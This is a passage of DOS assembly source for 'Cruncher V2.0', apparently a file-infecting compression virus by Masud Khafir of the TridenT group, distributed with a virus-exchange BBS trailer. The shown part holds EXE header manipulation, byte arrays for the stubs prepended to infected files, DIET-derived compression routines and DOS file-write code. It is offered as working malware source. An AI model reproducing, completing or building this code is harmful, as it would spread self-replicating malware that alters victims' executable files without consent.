  1064.                 mov     word ptr [exe_hdr+1A],ax
  1065.  
  1066.                 pop     bx
  1067.                 ret
  1068.  
  1069.  
  1070. ;---------------------------------------------------------------------
  1071. ;               shift DX,AX 4 bytes to right
  1072. ;---------------------------------------------------------------------
  1073.  
  1074. div10:          mov     cx,10
  1075.                 div     cx
  1076.                 ret
  1077.  
  1078.  
  1079. ;---------------------------------------------------------------------
  1080. ;               shift DX,AX to right
  1081. ;---------------------------------------------------------------------
  1082.  
  1083. shift9:         mov     cx,9
  1084.                 jmp     short shiftlup
  1085.  
  1086. shift4:         mov     cx,4
  1087. shiftlup:       dec     cx
  1088.                 jl      shiftend
  1089.                 sar     dx,1
  1090.                 rcr     ax,1
  1091.                 jmp     short shiftlup
  1092. shiftend:       ret
  1093.  
  1094.  
  1095. ;---------------------------------------------------------------------
  1096. ;               data area
  1097. ;---------------------------------------------------------------------
  1098.  
  1099. vormval         db      35, 3E, 1Dh
  1100. handle          db      0, 0
  1101. data_163        dw      0
  1102. save_stack      dw      0, 0
  1103. data_166        dw      0
  1104. data_167        dw      0
  1105. data_168        dw      0
  1106. data_169        dw      0
  1107. data_170        dw      0
  1108. data_171        dw      0
  1109. data_172        db      1
  1110.  
  1111.  
  1112. ;---------------------------------------------------------------------
  1113. ;               decryptors
  1114. ;---------------------------------------------------------------------
  1115.  
  1116. exe_hdr         db      04Dh, 05Ah, 000h, 000h, 000h, 000h, 001h, 000h
  1117.                 db      002h, 000h, 000h, 000h, 0FFh, 0FFh, 000h, 000h
  1118.                 db      000h, 000h, 000h, 000h, 003h, 000h, 000h, 000h
  1119.                 db      01Ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h
  1120.                 db      000h, 000h, 000h, 0FCh, 006h, 01Eh, 00Eh, 08Ch
  1121.                 db      0C8h, 001h, 006h, 038h, 001h, 0BAh, 000h, 000h
  1122.                 db      003h, 0C2h, 08Bh, 0D8h, 005h, 000h, 000h, 08Eh
  1123.                 db      0DBh, 08Eh, 0C0h, 033h, 0F6h, 033h, 0FFh, 0B9h
  1124.                 db      008h, 000h, 0F3h, 0A5h, 04Bh, 048h, 04Ah, 079h
  1125.                 db      0EEh, 08Eh, 0C3h, 08Eh, 0D8h, 0BEh, 04Ah, 000h
  1126.                 db      0ADh, 08Bh, 0E8h, 0B2h, 010h, 0EAh, 000h, 000h
  1127.                 db      000h, 000h
  1128.  
  1129. diet_strt       db      0BFh, 000h, 000h, 03Bh, 0FCh, 072h, 004h, 0B4h
  1130.                 db      04Ch, 0CDh, 021h, 0BEh, 000h, 000h, 0B9h, 000h
  1131.                 db      000h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
  1132.                 db      000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
  1133.                 db      0E9h, 000h, 000h, 000h, 000h
  1134.  
  1135. diet_end1       db      0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
  1136.                 db      0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
  1137.                 db      0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
  1138.                 db      0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
  1139.                 db      0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
  1140.                 db      02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
  1141.                 db      0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
  1142.                 db      0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
  1143.                 db      0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
  1144.                 db      02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
  1145.                 db      0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
  1146.                 db      0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
  1147.                 db      0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
  1148.                 db      0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
  1149.                 db      0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
  1150.                 db      0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
  1151.                 db      0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
  1152.                 db      0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
  1153.                 db      03Ah, 0FBh, 075h, 0DDh, 0E8h, 069h, 0FFh, 073h
  1154.                 db      027h, 0B1h, 004h, 057h, 0D3h, 0EFh, 08Ch, 0C0h
  1155.                 db      003h, 0C7h, 080h, 0ECh, 002h, 08Eh, 0C0h, 05Fh
  1156.                 db      081h, 0E7h, 00Fh, 000h, 081h, 0C7h, 000h, 020h
  1157.                 db      056h, 0D3h, 0EEh, 08Ch, 0D8h, 003h, 0C6h, 08Eh
  1158.                 db      0D8h, 05Eh, 081h, 0E6h, 00Fh, 000h, 0EBh, 0B9h
  1159.  
  1160.  
  1161. diet_end2       db      033h, 0EDh, 033h, 0FFh, 033h, 0F6h, 033h, 0D2h
  1162.                 db      033h, 0DBh, 033h, 0C0h, 0E9h, 000h, 000h
  1163.  
  1164.  
  1165. diet_end_e1     db      05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h
  1166.                 db      000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h
  1167.                 db      08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h
  1168.                 db      0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh
  1169.                 db      0E2h, 0E7h, 007h, 01Fh, 033h, 0EDh, 033h, 0FFh
  1170.                 db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
  1171.                 db      0EAh, 000h, 000h, 000h, 000h
  1172.  
  1173. diet_end_e2     db      05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h
  1174.                 db      000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h
  1175.                 db      08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h
  1176.                 db      0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh
  1177.                 db      0E2h, 0E7h, 007h, 01Fh, 081h, 0C5h, 000h, 000h
  1178.                 db      08Eh, 0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h
  1179.                 db      0FFh, 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h
  1180.                 db      0C0h, 0EAh, 000h, 000h, 000h, 000h
  1181.  
  1182. diet_end_e3     db      05Dh, 007h, 01Fh, 081h, 0C5h, 000h, 000h, 08Eh
  1183.                 db      0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h, 0FFh
  1184.                 db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
  1185.                 db      0EAh, 000h, 000h, 000h, 000h
  1186.  
  1187.  
  1188. ;---------------------------------------------------------------------
  1189. ;               crunch routines (thanks to Sourcer)
  1190. ;---------------------------------------------------------------------
  1191.  
  1192. diet            proc    near
  1193.                 push    bp
  1194.                 mov     bp,sp
  1195.                 push    di
  1196.                 push    si
  1197.  
  1198.                 mov     word ptr cs:[handle],bx
  1199.                 mov     cs:data_172,cl
  1200.  
  1201.                 call    getlen
  1202.                 mov     cs:data_167,ax
  1203.                 mov     cs:data_166,dx
  1204.  
  1205.                 cli
  1206.                 mov     cs:[save_stack],ss
  1207.                 mov     cs:[save_stack+2],sp
  1208.                 mov     bx,es
  1209.                 mov     ss,bx
  1210.                 mov     sp,0FE00h
  1211.                 sti
  1212.                 cld
  1213.                 push    dx
  1214.                 push    ax
  1215.                 call    sub_24
  1216.                 xor     cx,cx
  1217.                 mov     cs:data_169,cx
  1218.                 mov     cs:data_170,cx
  1219.                 mov     cs:data_163,cx
  1220.                 mov     cs:data_171,0FFFFh
  1221.                 xor     si,si
  1222.                 cmp     byte ptr cs:data_172,0
  1223.                 jne     loc_219
  1224.                 mov     ax,ds
  1225.                 sub     ax,200h
  1226.                 mov     ds,ax
  1227.                 mov     si,2000
  1228. loc_219:
  1229.                 mov     di,0E000
  1230.                 mov     cs:data_168,di
  1231.                 add     di,2
  1232.                 pop     ax
  1233.                 pop     dx
  1234.                 or      dx,dx
  1235.                 mov     dx,10h
  1236.                 jnz     loc_220
  1237.                 or      ah,ah
  1238.                 jnz     loc_220
  1239.                 mov     dh,al
  1240. loc_220:
  1241.                 call    sub_27
  1242.                 cmp     ax,2
  1243.                 ja      loc_223
  1244.                 jz      loc_221
  1245.                 stc
  1246.                 call    sub_23
  1247.                 mov     al,[si-1]
  1248.                 stosb
  1249.                 mov     cx,1
  1250.                 jmp     loc_236
  1251. loc_221:
  1252.                 clc
  1253.                 call    sub_23
  1254.                 clc
  1255.                 call    sub_23
  1256.                 mov     al,bl
  1257.                 stosb
  1258.                 cmp     bx,0FF00h
  1259.                 pushf
  1260.                 call    sub_23
  1261.                 popf
  1262.                 jc      loc_222
  1263.                 mov     cx,2
  1264.                 jmp     loc_236
  1265. loc_222:
  1266.                 inc     bh
  1267.                 mov     cl,5
  1268.                 shl     bh,cl
  1269.                 shl     bh,1
  1270.                 call    sub_23
  1271.                 shl     bh,1
  1272.                 call    sub_23
  1273.                 shl     bh,1
  1274.                 call    sub_23
  1275.                 mov     cx,2
  1276.                 jmp     loc_236
  1277. loc_223:
  1278.                 push    ax
  1279.                 clc
  1280.                 call    sub_23
  1281.                 stc
  1282.                 call    sub_23
  1283.                 mov     al,bl
  1284.                 stosb
  1285.                 cmp     bh,0FEh
  1286.                 jb      loc_224
  1287.                 mov     cl,7
  1288.                 shl     bh,cl
  1289.                 shl     bh,1
  1290.                 call    sub_23
  1291.                 stc
  1292.                 call    sub_23
  1293.                 jmp     loc_228
  1294. loc_224:
  1295.                 cmp     bh,0FCh
  1296.                 jb      loc_225
  1297.                 mov     cl,7
  1298.                 shl     bh,cl
  1299.                 shl     bh,1
  1300.                 call    sub_23
  1301.                 clc
  1302.                 call    sub_23
  1303.                 stc
  1304.                 call    sub_23
  1305.                 jmp     short loc_228
  1306. loc_225:
  1307.                 cmp     bh,0F8h
  1308.                 jb      loc_226
  1309.                 mov     cl,6
  1310.                 shl     bh,cl
  1311.                 shl     bh,1
  1312.                 call    sub_23
  1313.                 clc
  1314.                 call    sub_23
  1315.                 clc
  1316.                 call    sub_23
  1317.                 shl     bh,1
  1318.                 call    sub_23
  1319.                 stc
  1320.                 call    sub_23
  1321.                 jmp     short loc_228
  1322. loc_226:
  1323.                 cmp     bh,0F0h
  1324.                 jb      loc_227
  1325.                 mov     cl,5
  1326.                 shl     bh,cl
  1327.                 shl     bh,1
  1328.                 call    sub_23
  1329.                 clc
  1330.                 call    sub_23
  1331.                 clc
  1332.                 call    sub_23
  1333.                 shl     bh,1
  1334.                 call    sub_23
  1335.                 clc
  1336.                 call    sub_23
  1337.                 shl     bh,1
  1338.                 call    sub_23
  1339.                 stc
  1340.                 call    sub_23
  1341.                 jmp     short loc_228
  1342. loc_227:
  1343.                 mov     cl,4
  1344.                 shl     bh,cl
  1345.                 shl     bh,1
  1346.                 call    sub_23
  1347.                 clc
  1348.                 call    sub_23
  1349.                 clc
  1350.                 call    sub_23
  1351.                 shl     bh,1
  1352.                 call    sub_23
  1353.                 clc
  1354.                 call    sub_23
  1355.                 shl     bh,1
  1356.                 call    sub_23
  1357.                 clc
  1358.                 call    sub_23
  1359.                 shl     bh,1
  1360.                 call    sub_23
  1361. loc_228:
  1362.                 pop     cx
  1363.                 cmp     cx,3
  1364.                 jne     loc_229
  1365.                 stc
  1366.                 call    sub_23
  1367.                 jmp     loc_236
  1368. loc_229:
  1369.                 cmp     cx,4
  1370.                 jne     loc_230
  1371.                 clc
  1372.                 call    sub_23
  1373.                 stc
  1374.                 call    sub_23
  1375.                 jmp     loc_236
  1376. loc_230:
  1377.                 cmp     cx,5
  1378.                 jne     loc_231
  1379.                 clc
  1380.                 call    sub_23
  1381.                 clc
  1382.                 call    sub_23
  1383.                 stc
  1384.                 call    sub_23
  1385.                 jmp     loc_236
  1386. loc_231:
  1387.                 cmp     cx,6
  1388.                 jne     loc_232
  1389.                 clc
  1390.                 call    sub_23
  1391.                 clc
  1392.                 call    sub_23
  1393.                 clc
  1394.                 call    sub_23
  1395.                 stc
  1396.                 call    sub_23
  1397.                 jmp     loc_236
  1398. loc_232:
  1399.                 cmp     cx,7
  1400.                 jne     loc_233
  1401.                 clc
  1402.                 call    sub_23
  1403.                 clc
  1404.                 call    sub_23
  1405.                 clc
  1406.                 call    sub_23
  1407.                 clc
  1408.                 call    sub_23
  1409.                 stc
  1410.                 call    sub_23
  1411.                 clc
  1412.                 call    sub_23
  1413.                 jmp     short loc_236
  1414. loc_233:
  1415.                 cmp     cx,8
  1416.                 jne     loc_234
  1417.                 clc
  1418.                 call    sub_23
  1419.                 clc
  1420.                 call    sub_23
  1421.                 clc
  1422.                 call    sub_23
  1423.                 clc
  1424.                 call    sub_23
  1425.                 stc
  1426.                 call    sub_23
  1427.                 stc
  1428.                 call    sub_23
  1429.                 jmp     short loc_236
  1430. loc_234:
  1431.                 cmp     cx,10h
  1432.                 ja      loc_235
  1433.                 mov     bh,cl
  1434.                 sub     bh,9
  1435.                 push    cx
  1436.                 mov     cl,5
  1437.                 shl     bh,cl
  1438.                 clc
  1439.                 call    sub_23
  1440.                 clc
  1441.                 call    sub_23
  1442.                 clc
  1443.                 call    sub_23
  1444.                 clc
  1445.                 call    sub_23
  1446.                 clc
  1447.                 call    sub_23
  1448.                 clc
  1449.                 call    sub_23
  1450.                 shl     bh,1
  1451.                 call    sub_23
  1452.                 shl     bh,1
  1453.                 call    sub_23
  1454.                 shl     bh,1
  1455.                 call    sub_23
  1456.                 pop     cx
  1457.                 jmp     short loc_236
  1458.                 jmp     short loc_236
  1459. loc_235:
  1460.                 clc
  1461.                 call    sub_23
  1462.                 clc
  1463.                 call    sub_23
  1464.                 clc
  1465.                 call    sub_23
  1466.                 clc
  1467.                 call    sub_23
  1468.                 clc
  1469.                 call    sub_23
  1470.                 stc
  1471.                 call    sub_23
  1472.                 mov     ax,cx
  1473.                 sub     ax,11h
  1474.                 stosb
  1475. loc_236:
  1476.                 cmp     si,0E000h
  1477.                 jbe     loc_238
  1478.                 cmp     byte ptr cs:data_172,0
  1479.                 jne     loc_237
  1480.                 clc
  1481.                 call    sub_23
  1482.                 clc
  1483.                 call    sub_23
  1484.                 mov     al,0FFh
  1485.                 stosb
  1486.                 clc
  1487.                 call    sub_23
  1488.                 stc
  1489.                 call    sub_23
  1490. loc_237:
  1491.                 mov     ax,ds
  1492.                 add     ax,0C00h
  1493.                 mov     ds,ax
  1494.                 call    sub_25
  1495.                 sub     si,0C000h
  1496. loc_238:
  1497.                 cmp     di,0F810
  1498.                 jbe     loc_240
  1499.                 push    ds
  1500.                 push    bp
  1501.                 push    dx
  1502.                 push    cx
  1503.                 mov     cx,cs:data_168
  1504.                 cmp     cx,0F800h
  1505.                 jbe     loc_239
  1506.                 mov     cx,1800h
  1507.                 call    sub_22
  1508. loc_239:
  1509.                 pop     cx
  1510.                 pop     dx
  1511.                 pop     bp
  1512.                 pop     ds
  1513. loc_240:
  1514.                 mov     ax,si
  1515.                 and     ax,0F000h
  1516.                 cmp     ax,cs:data_171
  1517.                 je      loc_241
  1518.                 mov     cs:data_171,ax
  1519. loc_241:
  1520.                 mov     ax,cs:data_167
  1521.                 sub     ax,cx
  1522.                 mov     cs:data_167,ax
  1523.                 sbb     cs:data_166,0
  1524.                 jnz     loc_242
  1525.                 or      ah,ah
  1526.                 jnz     loc_242
  1527.                 mov     dh,al
  1528.                 or      al,al
  1529.                 jz      loc_243
  1530. loc_242:
  1531.                 jmp     loc_220
  1532. loc_243:
  1533.                 clc
  1534.                 call    sub_23
  1535.                 clc
  1536.                 call    sub_23
  1537.                 mov     al,0FFh
  1538.                 stosb
  1539.                 clc
  1540.                 call    sub_23
  1541.                 clc
  1542.                 call    sub_23
  1543. loc_244:
  1544.                 shr     bp,1
  1545.                 dec     dl
  1546.                 jnz     loc_244
  1547.                 push    di
  1548.                 mov     di,cs:data_168
  1549.                 mov     es:[di],bp
  1550.                 pop     di
  1551.                 mov     cx,di
  1552.                 sub     cx,0E000h
  1553.                 call    sub_22
  1554.                 mov     dx,cs:data_169
  1555.                 mov     ax,cs:data_170
  1556.                 mov     bx,cs:data_163
  1557. loc_245:
  1558.                 cli
  1559.                 mov     ss,cs:[save_stack]
  1560.                 mov     sp,cs:[save_stack+2]
  1561.                 sti
  1562.                 pop     si
  1563.                 pop     di
  1564.                 pop     bp
  1565.                 ret
  1566. diet            endp
  1567.  
  1568.  
  1569. ;---------------------------------------------------------------------
  1570. ;
  1571. ;---------------------------------------------------------------------
  1572.  
  1573. sub_22          proc    near
  1574.                 push    es
  1575.                 pop     ds
  1576.                 push    di
  1577.                 push    cx
  1578.                 mov     ax,cs:data_163
  1579.                 mov     bp,0FE00
  1580.                 mov     bx,0E000
  1581.                 jcxz    loc_248
  1582.  
  1583. locloop_247:
  1584.                 xor     al,[bx]
  1585.                 inc     bx
  1586.                 mov     dl,al
  1587.                 xor     dh,dh
  1588.                 mov     al,ah
  1589.                 xor     ah,ah
  1590.                 shl     dx,1
  1591.                 mov     di,dx
  1592.                 xor     ax,[bp+di]
  1593.                 loop    locloop_247
  1594.  
  1595. loc_248:
  1596.                 mov     cs:data_163,ax
  1597.                 pop     cx
  1598.                 pop     di
  1599.                 mov     dx,0E000
  1600.                 mov     bx,word ptr cs:[handle]
  1601.                 mov     ah,40h
  1602.                 int     21h
  1603.                 jc      loc_250
  1604.                 cmp     ax,cx
  1605.                 jne     loc_250
  1606.                 add     cs:data_170,ax
  1607.                 adc     cs:data_169,0
  1608.                 sub     di,cx
  1609.                 sub     cs:data_168,cx
  1610.                 push    cx
  1611.                 mov     bx,dx
  1612.                 mov     cx,10h
  1613.  
  1614. locloop_249:
  1615.                 mov     ax,ds:[bx+1800]
  1616.                 mov     [bx],ax
  1617.                 inc     bx
  1618.                 inc     bx
  1619.                 loop    locloop_249
  1620.  
  1621.                 pop     cx
  1622.                 ret
  1623. loc_250:
  1624.                 mov     ax,0FFFFh
  1625.                 cwd
  1626.                 jmp     loc_245
  1627. sub_22          endp
  1628.  
  1629.  
  1630. ;---------------------------------------------------------------------
  1631. ;
  1632. ;---------------------------------------------------------------------
  1633.  
  1634. sub_23          proc    near
  1635.                 rcr     bp,1
  1636.                 dec     dl
  1637.                 jnz     loc_ret_251
  1638.                 push    di
  1639.                 xchg    di,cs:data_168
  1640.                 mov     es:[di],bp
  1641.                 mov     dl,10h
  1642.                 pop     di
  1643.                 inc     di
  1644.                 inc     di
  1645.  
  1646. loc_ret_251:
  1647.                 ret
  1648. sub_23          endp
  1649.  
  1650.  
  1651. ;---------------------------------------------------------------------
  1652. ;
  1653. ;---------------------------------------------------------------------
  1654.  
  1655. sub_24          proc    near
  1656.                 xor     bp,bp
  1657.                 xor     bx,bx
  1658.                 mov     cx,7000h
  1659.  
  1660. locloop_252:
  1661.                 mov     [bp],bx
  1662.                 inc     bp
  1663.                 inc     bp
  1664.                 loop    locloop_252
  1665.  
  1666.                 mov     bp,0FE00
  1667.                 xor     di,di
  1668.                 xor     dx,dx
  1669. loc_253:
  1670.                 mov     ax,dx
  1671.                 mov     cx,8
  1672.  
  1673. locloop_254:
  1674.                 shr     ax,1
  1675.                 jnc     loc_255
  1676.                 xor     ax,0A001h
  1677. loc_255:
  1678.                 loop    locloop_254
  1679.  
  1680.                 mov     [bp+di],ax
  1681.                 inc     di
  1682.                 inc     di
  1683.                 inc     dl
  1684.                 jnz     loc_253
  1685.                 ret
  1686. sub_24          endp
  1687.  
  1688.  
  1689. ;---------------------------------------------------------------------
  1690. ;
  1691. ;---------------------------------------------------------------------
  1692.  
  1693. sub_25          proc    near
  1694.                 push    bp
  1695.                 push    cx
  1696.                 mov     bp,8000
  1697.                 mov     cx,2000h
  1698.  
  1699. locloop_256:
  1700.                 mov     bx,[bp]
  1701.                 mov     ax,bx
  1702.                 sub     ax,si
  1703.                 cmp     ax,0E000h
  1704.                 jb      loc_257
  1705.                 sub     bx,0C000h
  1706.                 jmp     short loc_258
  1707. loc_257:
  1708.                 xor     bx,bx
  1709. loc_258:
  1710.                 mov     [bp],bx
  1711.                 inc     bp
  1712.                 inc     bp
  1713.                 loop    locloop_256
  1714.  
  1715.                 pop     cx
  1716.                 pop     bp
  1717.                 ret
  1718. sub_25          endp
  1719.  
  1720.  
  1721. ;---------------------------------------------------------------------
  1722. ;
  1723. ;---------------------------------------------------------------------
  1724.  
  1725. sub_26          proc    near
  1726.                 lodsw
  1727.                 dec     si
  1728.                 mov     cx,103h
  1729.                 mov     bp,ax
  1730.                 shr     bp,cl
  1731.                 mov     cl,al
  1732.                 and     cl,7
  1733.                 shl     ch,cl
  1734.                 test    ch,[bp-4000h]
  1735.                 pushf
  1736.                 or      [bp-4000h],ch
  1737.                 and     ah,1Fh
  1738.                 shl     ax,1
  1739.                 mov     bp,ax
  1740.                 mov     cx,[bp-8000h]
  1741.                 mov     [bp-8000h],si
  1742.                 jcxz    loc_259
  1743.                 sub     cx,si
  1744.                 cmp     cx,0E000h
  1745.                 jae     loc_259
  1746.                 xor     cx,cx
  1747. loc_259:
  1748.                 mov     bp,si
  1749.                 shl     bp,1
  1750.                 and     bp,3FFFh
  1751.                 mov     [bp],cx
  1752.                 popf
  1753.                 jnz     loc_260
  1754.                 xor     cx,cx
  1755.                 mov     [bp+4000h],cx
  1756.                 ret
  1757. loc_260:
  1758.                 push    bp
  1759.                 lodsb
  1760.                 mov     di,si
  1761.                 dec     si
  1762. loc_261:
  1763.                 dec     di
  1764.                 mov     cx,[bp]
  1765.                 add     di,cx
  1766.                 shl     cx,1
  1767.                 jz      loc_262
  1768.                 add     bp,cx
  1769.                 and     bp,3FFFh
  1770.                 mov     cx,di
  1771.                 sub     cx,si
  1772.                 cmp     cx,0E000h
  1773.                 jb      loc_263
  1774.                 scasb
  1775.                 jnz     loc_261
  1776.                 cmp     di,si
  1777.                 jae     loc_261
  1778. loc_262:
  1779.                 pop     bp
  1780.                 mov     [bp+4000h],cx
  1781.                 or      cx,cx
  1782.                 ret
  1783. loc_263:
  1784.                 xor     cx,cx
  1785.                 jmp     short loc_262
  1786. sub_26          endp
  1787.  
  1788.  
  1789. ;---------------------------------------------------------------------
  1790. ;
  1791. ;---------------------------------------------------------------------
  1792.  
  1793. sub_27          proc    near
  1794.                 push    es
  1795.                 push    bp
  1796.                 push    di
  1797.                 push    dx
  1798.                 push    ds
  1799.                 pop     es
  1800.                 call    sub_26
  1801.                 mov     bx,cx
  1802.                 mov     ax,1
  1803.                 jnz     loc_264
  1804.                 jmp     loc_276
  1805. loc_264:
  1806.                 push    bp
  1807.                 mov     cx,103h
  1808.                 mov     ax,[si]
  1809.                 mov     bp,ax
  1810.                 shr     bp,cl
  1811.                 mov     cl,al
  1812.                 and     cl,7
  1813.                 shl     ch,cl
  1814.                 test    ch,[bp-4000h]
  1815.                 pop     bp
  1816.                 mov     ax,2
  1817.                 jz      loc_272
  1818.                 mov     dx,si
  1819.                 inc     si
  1820.                 mov     di,si
  1821.                 xor     ax,ax
  1822.                 jmp     short loc_266
  1823. loc_265:
  1824.                 pop     di
  1825.                 pop     si
  1826. loc_266:
  1827.                 mov     cx,[bp+4000h]
  1828.                 add     di,cx
  1829.                 shl     cx,1
  1830.                 jz      loc_271
  1831.                 add     bp,cx
  1832.                 and     bp,3FFFh
  1833.                 mov     cx,di
  1834.                 sub     cx,si
  1835.                 cmp     cx,0E000h
  1836.                 jb      loc_271
  1837.                 push    si
  1838.                 push    di
  1839.                 mov     cx,ax
  1840.                 jcxz    loc_267
  1841.                 repe    cmpsb
  1842.                 jnz     loc_265
  1843.                 cmp     di,dx
  1844.                 jae     loc_265
  1845. loc_267:
  1846.                 inc     ax
  1847.                 cmpsb
  1848.                 jnz     loc_270
  1849. loc_268:
  1850.                 cmp     di,dx
  1851.                 jae     loc_270
  1852.                 inc     ax
  1853.                 cmp     ax,10Fh
  1854.                 jb      loc_269
  1855.                 mov     ax,10Fh
  1856.                 pop     di
  1857.                 pop     si
  1858.                 mov     bx,di
  1859.                 sub     bx,si
  1860.                 jmp     short loc_271
  1861. loc_269:
  1862.                 cmpsb
  1863.                 jz      loc_268
  1864. loc_270:
  1865.                 pop     di
  1866.                 pop     si
  1867.                 mov     bx,di
  1868.                 sub     bx,si
  1869.                 jmp     short loc_266
  1870. loc_271:
  1871.                 mov     si,dx
  1872.                 inc     ax
  1873. loc_272:
  1874.                 xor     cx,cx
  1875.                 cmp     cs:data_166,cx
  1876.                 jne     loc_273
  1877.                 cmp     cs:data_167,ax
  1878.                 jae     loc_273
  1879.                 mov     ax,cs:data_167
  1880. loc_273:
  1881.                 cmp     ax,2
  1882.                 jb      loc_276
  1883.                 jnz     loc_274
  1884.                 cmp     bx,0F700h
  1885.                 jae     loc_274
  1886.                 dec     ax
  1887.                 jmp     short loc_276
  1888. loc_274:
  1889.                 push    ax
  1890.                 mov     cx,ax
  1891.                 dec     cx
  1892.  
  1893. locloop_275:
  1894.                 push    cx
  1895.                 call    sub_26
  1896.                 pop     cx
  1897.                 loop    locloop_275
  1898.  
  1899.                 pop     ax
  1900. loc_276:
  1901.                 pop     dx
  1902.                 pop     di
  1903.                 pop     bp
  1904.                 pop     es
  1905.                 ret
  1906. sub_27          endp
  1907.  
  1908.  
  1909. ;---------------------------------------------------------------------------
  1910. ;               buffer + text
  1911. ;---------------------------------------------------------------------------
  1912.  
  1913. buffer          db      0CDh, 20                ;original code of dummy program
  1914.                 db      (BUFLEN-2) dup (?)
  1915.  
  1916. printme         db      7, 0Dh, 0A
  1917.                 db      '╔════════════════════════════════════════════════════════════╗', 0Dh, 0A
  1918.                 db      '║ *** CRUNCHER V2.0 ***   Automatic file compression utility ║', 0Dh, 0A
  1919.                 db      '║ Written by Masud Khafir of the TridenT group  (c) 31/12/92 ║', 0Dh, 0A
  1920.                 db      '║ Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto ║', 0Dh, 0A
  1921.                 db      '╚════════════════════════════════════════════════════════════╝', 0Dh, 0A
  1922.                 db      '$'
  1923.  
  1924. last:
  1925.  
  1926. _TEXT           ends
  1927.                 end    first
  1928. 
  1929. ;  ─────────────────────────────────────────────────────────────────────────
  1930. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  1931. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  1932. ;  ─────────────────────────────────────────────────────────────────────────
  1933.